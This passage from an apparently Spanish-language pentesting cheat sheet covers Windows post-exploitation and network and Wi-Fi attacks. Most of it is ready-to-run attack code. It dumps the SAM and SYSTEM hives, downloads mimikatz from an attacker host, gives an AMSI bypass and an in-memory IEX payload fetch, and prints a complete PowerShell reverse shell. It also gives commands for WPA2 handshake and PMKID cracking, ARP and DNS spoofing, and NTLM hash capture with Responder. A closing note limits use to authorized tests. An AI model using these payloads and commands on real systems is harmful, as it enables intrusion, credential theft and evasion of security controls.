Historial de comandosGet-History o .bash_history
Programas instaladosGet-WmiObject -Class Win32_Product
Tareas programadasschtasks /query /fo LIST /v
Comparticiones de rednet share
Carpetas abiertasopenfiles /query
Información del sistemasysteminfo, hostname, net config workstation

10.4 Enumeración Avanzada (Red y Dominio)

Listar sesiones abiertas:

Get-NetSession | Format-Table

Usuarios de Active Directory:

Get-ADUser -Filter * | Select-Object Name,SamAccountName

Requiere RSAT Tools o ejecución desde DC o máquina unida al dominio.

10.5 Recolección de Credenciales

SAM + SYSTEM con reg save:

reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive

Mimikatz (PowerShell)

Invoke-WebRequest -Uri http://attacker/mimikatz.exe -OutFile mimikatz.exe
.\mimikatz.exe

Alternativa: usar la versión en PowerShell pura con Invoke-Mimikatz.

10.6 Evasión de Antivirus y AMSI

Bypass simple de AMSI:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')::GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Ejecutar payload en memoria (sin escribir en disco):

IEX (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')

10.7 Herramientas de PowerShell Post-Explotación

HerramientaDescripción
PowerViewEnumeración de dominio
PowerUpEscalado de privilegios
SherlockBuscar vulnerabilidades locales
NishangColección de scripts ofensivos
EmpireC2 completo en PowerShell
InveighAtaques LLMNR/NBT-NS (alternativa a Responder)

10.8 Reverse Shells en PowerShell

$client = New-Object System.Net.Sockets.TCPClient("192.168.1.10", 4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
 $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
 $sendback = (iex $data 2>&1 | Out-String );
 $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
 $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
 $stream.Write($sendbyte,0,$sendbyte.Length);
 $stream.Flush()
}
$client.Close()

10.9 Técnicas de Persistencia

TécnicaDescripción
Registry RunAgrega clave en HKCU:\Software\Microsoft\Windows\CurrentVersion\Run
Tareas programadasschtasks para reactivar acceso
WMI permanent event subscriptionsPersistencia avanzada sin archivos
Backdoors en serviciosModificar binarios de servicios legítimos

11. Ataques a Redes y Wi-Fi

Esta sección abarca técnicas de análisis, sniffing, y ataques a redes cableadas e inalámbricas, tanto en entornos domésticos como corporativos. Incluye herramientas clásicas y modernas, comandos prácticos, y ejemplos de explotación.

11.1 Fundamentos

Los ataques a redes permiten:

  • Interceptar tráfico sensible.
  • Capturar credenciales (por ejemplo, hashes NTLM o WPA).
  • Desplegar ataques MITM (Man-in-the-Middle).
  • Escanear hosts conectados y explotar servicios internos.

11.2 Requisitos para Pentesting Wi-Fi

  • Adaptador Wi-Fi con modo monitor (ej: Alfa AWUS036ACH)
  • Distribución con soporte (Kali, Parrot, Fedora + herramientas)
  • Drivers compatibles (rtl8812au, ath9k, etc.)

11.3 Herramientas Principales para Wi-Fi Hacking

HerramientaUso
airmon-ngHabilita modo monitor
airodump-ngEscaneo de redes y captura de handshakes
aireplay-ngInyección de paquetes (deauth, fake auth)
aircrack-ngCrackeo de contraseñas WPA/WEP
hcxdumptoolCaptura de PMKID y handshakes WPA2
hashcatCracking de hashes WPA2, PMKID, NTLM
bettercapFramework para MITM en LAN y Wi-Fi
Wireshark / tcpdumpSniffing y análisis de tráfico
hostapd-wpe / roguehostapdFake APs para phishing
EvilAP, WifiphisherIngeniería social sobre Wi-Fi
KismetSniffer avanzado y mapeo de redes inalámbricas

Ejemplo: Captura de Handshake WPA2

# 1. Poner adaptador en modo monitor
airmon-ng start wlan0

# 2. Escanear redes
airodump-ng wlan0mon

# 3. Seleccionar objetivo (AP + canal)
airodump-ng -c 6 --bssid XX:XX:XX:XX:XX:XX -w captura wlan0mon

# 4. Inyectar deauth para forzar reconexión
aireplay-ng -0 5 -a XX:XX:XX:XX:XX:XX wlan0mon

# 5. Crackear el handshake capturado
aircrack-ng -w diccionario.txt captura.cap

11.4 Captura de PMKID

Más silencioso y rápido que handshake clásico.

hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
hcxpcapngtool -o hash.hc22000 -E essidlist.txt pmkid.pcapng
hashcat -m 22000 hash.hc22000 diccionario.txt

11.5 MITM en Redes LAN

HerramientaDescripción
BettercapAtaques ARP spoofing, DNS spoofing, sniffing
EttercapAntiguo pero útil en MITM
ResponderCaptura de hashes NTLM
mitm6Abusa IPv6 para obtener autenticación automática

11.6 Ataques frecuentes en LAN

ARP Spoofing / Poisoning:

bettercap -iface eth0 -eval "net.probe on; set arp.spoof.targets 192.168.1.10; arp.spoof on"

DNS Spoofing:

set dns.spoof.domains example.com
set dns.spoof.address 192.168.1.100
dns.spoof on

Captura de hashes:

sudo responder -I eth0

12. Recursos para entrenamiento

PlataformaCaracterísticas
TryHackMeRutas sobre redes, MITM, Wi-Fi
HackTheBoxLaboratorios avanzados, máquinas vulnerables
WiFi PineappleHardware especializado para pentesting Wi-Fi
Kali NethunterEntorno ofensivo en Android
DEF CON Wall of SheepAnálisis de tráfico de asistentes vulnerables

Advertencia ética

Todas las pruebas deben realizarse en entornos controlados y con autorización explícita. Atacar redes sin permiso es ilegal.

Nota adicional:

Este post se encuentra en constante actualización.